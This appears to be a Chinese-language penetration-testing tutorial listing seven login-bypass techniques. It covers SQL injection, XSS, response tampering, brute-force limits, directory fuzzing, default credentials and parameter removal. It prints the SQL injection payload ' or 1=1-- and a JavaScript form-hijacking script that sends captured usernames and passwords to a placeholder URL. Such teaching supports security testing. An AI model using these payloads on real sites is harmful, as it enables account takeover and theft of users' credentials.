绕过登录页面的七种常见方法

这篇文章是关于绕过由于网站的弱点而发生的登录页面功能。绕过登录页面功能的方法有很多,但在本文中,我们将讨论一些常见的方法。那么让我们开始吧……

常见的七种方式

绕过 SQL 注入

通过跨站点脚本(XSS)

通过操纵响应返回包

绕过爆破攻击限制

绕过目录爆破攻击

默认凭据绕过

通过删除请求中的参数

绕过 SQL 注入

我以 Mutillidae 为例进行演示。

所以现在我们可以将 SQL 注入payload放入其中。对于这个语法错误,payload是“ ' or 1=1--” 现在让我们看看输入它时会发生什么。

呜呜!!我们以管理员身份登录。在您的情况下,当它不起作用时尝试其他payload,并使用 SQLMap 工具dump用户名和密码。

通过跨站点脚本(XSS)

输入 xss payload alert(1) 并显示弹出窗口,因此您可以通过 XSS 尝试 CSRF 并查看受害者凭据。这是它的 CSRF payload

<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">function intercept() {<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> <br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> var user = document.forms[0].elements[0].value;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> var pass = document.forms[0].elements[1].value;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> <br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> <br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> var xhr = new XMLHttpRequest();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> <br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> xhr.open("GET", "https://your-target-url?username/email="+user+"&password="+pass)<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> xhr.send();<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">return false;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> }<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> document.forms[0].onsubmit = intercept;<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> <br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">

从 HTTPS 登录页面窃取密码并使用反射 XSS 绕过 CSRF 保护

https://medium.com/dark-roast-security/password-stealing-from-https-login-page-and-csrf-bypass-with-reflected-xss-76f56ebc4516

通过操纵响应返回包

该方法主要基于Response Status代码操作和Response Body操作。

首先在你的目标上创建一个帐户,然后使用正确的凭据登录并拦截 burp suite中的请求并分析响应,然后你尝试使用错误的凭据登录并使用正确的凭据操作你看到的响应,例如

403 Forbidden
{"error":true, "message":"Invalid Token"}
200 OK
{"success":true}

如果存在此漏洞,你将立即登录进去。

绕过爆破攻击限制

这种攻击主要发生在站点没有设置时间限制和重复次数限制,基本上没有在登录页面设置延时功能的情况下。

当您反复输入错误的凭据时,网站会显示 5 分钟后输入凭据的时间。当站点显示这种错误时,很难执行此方法。我写了一篇关于暴力攻击的文章,下面给出了它的链接,看看它是如何进行这种攻击的。

如何使用 Burp Suite 执行登录暴力破解

https://medium.com/@uttamgupta_/1-how-to-perform-login-brute-force-using-burp-suite-9d06b67fb53d

绕过爆破IP限制

https://medium.com/@uttamgupta_/broken-brute-force-protection-ip-block-aae835895a74

绕过目录模糊攻击

在这种方法中,我们尝试借助一些工具(如 ffuf、dirbuster 和 burp suite intruder 等)进行目录暴力破解。大多数工具都有自己的目录词表,但当它没有词表时,所以在 linux 中它有自己的词表,你可以使用它们适用于 Windows,您可以在谷歌上搜索。

在这种攻击中,工具可以找到显示有用响应的任何目录或子目录,或者打开任何仅在您登录站点时打开的页面。我在这个博客中使用了 FFUF 工具,您可以看到它是如何工作的。

子域枚举——如何找到任何域的子域

https://medium.com/@uttamgupta_/subdomain-enumeration-how-to-find-subdomains-of-any-domain-37c989e43ffa

默认凭据绕过

当开发人员创建站点时,他会创建一些用于测试的默认凭据,但很多时候他会删除它,或者很多时候他不会将其从记录中删除。

当站点允许输入任何密码时,许多用户可以输入弱密码并且站点接受它。因此,您应该尝试使用默认凭据。默认凭据列表在 Google 上变得很容易获得。默认凭据,

如 admin:admin、admin:password、username:pass12345 等。

通过删除请求中的参数

当您输入错误的凭据时,网站会显示错误,例如用户名和密码不正确/不匹配,此用户名的密码不正确等,网站会显示此类响应,因此可以尝试此方法。

首先拦截请求并删除请求中的密码参数并转发请求。然后服务器发现该用户名可用并让您登录该站点。

当服务器没有正确分析请求时会出现此问题。